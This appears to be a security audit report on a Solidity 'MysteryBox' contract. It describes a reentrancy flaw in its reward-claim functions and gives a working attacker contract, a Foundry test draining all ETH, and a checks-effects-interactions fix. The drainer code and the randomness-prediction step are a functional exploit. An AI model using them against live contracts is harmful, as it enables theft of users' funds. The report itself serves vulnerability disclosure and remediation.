Summary
Lack of CEI pattern allows attacker to reenter and drain the available eth.
Vulnerability Details
https://github.com/Cyfrin/2024-09-mystery-box/blob/main/src/MysteryBox.sol#L79-L101
claimAllRewards and claimSingleReward are meant to claim rewards by the users as per there allocation / winnings. However these functions send the rewards first and then update the state.
Due to this, a malicious user can reenter in the function again and again it drain the pool mostly.
POC
Add the attacker contract in existing src file:
pragma solidity ^0.8.0;
import "./MysteryBox.sol";
contract AttackerContract {
MysteryBox public mysteryBox;
address public OWNER;
constructor(address _mysteryBoxAddress, address _owner) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
OWNER = _owner;
}
function buyBox() public payable {
mysteryBox.buyBox{value: 0.1 ether}();
}
function attack() public payable {
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimAllRewards();
}
}
function claim() external {
(bool sent,)= OWNER.call{value: address(this).balance}("");
require(sent);
}
}
create following test in existing test suite, setup has one issue that also needs to be updated
/// other imports as is
+ import "../src/Attacker.sol";
///existing code
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
vm.prank(owner);
vm.deal(owner, 1 ether);
- mysteryBox = new MysteryBox();
+ mysteryBox = new MysteryBox{value: 0.1 ether}();
console.log("Reward Pool Length:", mysteryBox.getRewardPool().length);
}
function testReentrancy() public {
vm.prank(address(0x6969));
AttackerContract attacker = new AttackerContract(address(mysteryBox), msg.sender);
uint256 timestamp = block.timestamp;
address sender = address(attacker);
uint256 predictedRandom = uint256(keccak256(abi.encodePacked(timestamp, sender))) % 100;
console.log("winning number:", predictedRandom);
vm.deal(address(mysteryBox), 2 ether);
vm.deal(address(attacker), 0.1 ether);
attacker.buyBox();
console.log("Contract balance before attack:", address(mysteryBox).balance);
console.log("attacker balance before attack:", address(attacker).balance);
attacker.attack();
console.log("Contract balance after attack:", address(mysteryBox).balance);
console.log("attacker balance after attack:", address(attacker).balance);
}
now run ``forge test --mt testReentrancy -vvin the terminal, it will print the following output.
[PASS] testReentrancy() (gas: 463583)
Logs:
Reward Pool Length: 4
winning number: 92
Contract balance before attack: 2100000000000000000
attacker balance before attack: 0
Contract balance after attack: 0
attacker balance after attack: 2100000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.65ms (492.96µs CPU time)
Ran 1 test suite in 151.40ms (1.65ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
High, As most of the eth will be drained by the attacker. This will be unfair to the innocent users.
Tools Used
Manula Review
Recommendations
Use of CEI pattern as given below:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
